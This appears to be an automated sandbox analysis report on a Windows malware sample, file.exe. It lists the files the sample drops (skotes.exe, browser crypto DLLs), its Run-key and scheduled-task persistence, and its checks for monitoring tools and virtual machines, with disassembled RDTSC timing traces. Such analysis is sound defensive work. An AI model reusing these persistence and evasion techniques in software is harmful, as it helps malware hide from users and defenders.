Source: 16b11e2c5c.exe.24.dr	Static PE information: section name: phqbfzqh entropy: 7.952231766690737

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\FIDGHIIECG.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\FIDGHIIECG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\FIDGHIIECG.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\FIDGHIIECG.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 16b11e2c5c.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 16b11e2c5c.exe			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\FIDGHIIECG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0014F second address: BFFA39 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F490480C8B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D354Dh], eax 0x00000015 push dword ptr [ebp+122D1281h] 0x0000001b mov dword ptr [ebp+122D26F4h], ecx 0x00000021 call dword ptr [ebp+122D26C7h] 0x00000027 pushad 0x00000028 pushad 0x00000029 or dword ptr [ebp+122D1D58h], edi 0x0000002f popad 0x00000030 xor eax, eax 0x00000032 mov dword ptr [ebp+122D1D58h], edi 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c jnp 00007F490480C8BCh 0x00000042 add dword ptr [ebp+122D1D58h], ebx 0x00000048 mov dword ptr [ebp+122D38BDh], eax 0x0000004e pushad 0x0000004f mov di, ax 0x00000052 sbb bl, 00000032h 0x00000055 popad 0x00000056 mov esi, 0000003Ch 0x0000005b pushad 0x0000005c and edx, dword ptr [ebp+122D37A9h] 0x00000062 mov dword ptr [ebp+122D1D58h], esi 0x00000068 popad 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d mov dword ptr [ebp+122D1D58h], ebx 0x00000073 lodsw 0x00000075 sub dword ptr [ebp+122D1CD1h], ecx 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f jl 00007F490480C8C3h 0x00000085 jmp 00007F490480C8BDh 0x0000008a mov ebx, dword ptr [esp+24h] 0x0000008e stc 0x0000008f jno 00007F490480C8BCh 0x00000095 nop 0x00000096 push eax 0x00000097 push edx 0x00000098 pushad 0x00000099 jmp 00007F490480C8C3h 0x0000009e js 00007F490480C8B6h 0x000000a4 popad 0x000000a5 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFFA39 second address: BFFA43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F4904C31166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68493 second address: D68498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68498 second address: D684A4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4904C3116Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D777C2 second address: D777CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D777CA second address: D777D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7792A second address: D77942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F490480C8C1h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77942 second address: D7794C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F4904C31166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7794C second address: D77960 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77960 second address: D779A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edi 0x00000010 jmp 00007F4904C31179h 0x00000015 jbe 00007F4904C31166h 0x0000001b pop edi 0x0000001c push edx 0x0000001d jc 00007F4904C31166h 0x00000023 pop edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 jns 00007F4904C31166h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77B38 second address: D77B3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77CBA second address: D77CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77CBE second address: D77CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77CC4 second address: D77CDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C31174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D77F49 second address: D77F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D780E3 second address: D780E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79A66 second address: D79A6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79AD9 second address: D79ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79ADE second address: D79B5A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add dword ptr [ebp+122D26F4h], edx 0x00000011 push 00000000h 0x00000013 sub esi, 0E5E8EC5h 0x00000019 call 00007F490480C8B9h 0x0000001e jne 00007F490480C8C2h 0x00000024 push eax 0x00000025 push edi 0x00000026 jmp 00007F490480C8BEh 0x0000002b pop edi 0x0000002c mov eax, dword ptr [esp+04h] 0x00000030 push ecx 0x00000031 pushad 0x00000032 jnp 00007F490480C8B6h 0x00000038 jmp 00007F490480C8C1h 0x0000003d popad 0x0000003e pop ecx 0x0000003f mov eax, dword ptr [eax] 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F490480C8C2h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79B5A second address: D79B5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79B5E second address: D79B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79B64 second address: D79B99 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F4904C31179h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 jmp 00007F4904C3116Eh 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79C46 second address: D79C6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F490480C8C8h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79C6B second address: D79C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79C70 second address: D79C75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79C75 second address: D79C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4904C31166h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F4904C3116Ch 0x00000019 jc 00007F4904C31166h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79C94 second address: D79CCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F490480C8C9h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jc 00007F490480C8D2h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79CCD second address: D79CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79F23 second address: D79F3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79F3D second address: D79F58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4904C31177h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79F58 second address: D79F5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79F5C second address: D79FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F4904C31168h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F4904C31168h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 0000001Ch 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f add dword ptr [ebp+124487BAh], ecx 0x00000045 mov edx, dword ptr [ebp+122D3729h] 0x0000004b call 00007F4904C31169h 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F4904C31172h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79FD3 second address: D79FD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79FD9 second address: D7A013 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F4904C3116Bh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push esi 0x00000013 push ebx 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop ebx 0x00000017 pop esi 0x00000018 mov eax, dword ptr [eax] 0x0000001a jbe 00007F4904C3116Ch 0x00000020 pushad 0x00000021 push edx 0x00000022 pop edx 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 popad 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jnc 00007F4904C31168h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A013 second address: D7A066 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov ecx, dword ptr [ebp+122D3695h] 0x00000010 push 00000003h 0x00000012 and cl, FFFFFFF2h 0x00000015 push 00000000h 0x00000017 push 00000003h 0x00000019 mov dword ptr [ebp+122D1CDAh], edx 0x0000001f call 00007F490480C8B9h 0x00000024 pushad 0x00000025 jbe 00007F490480C8C4h 0x0000002b jmp 00007F490480C8BEh 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
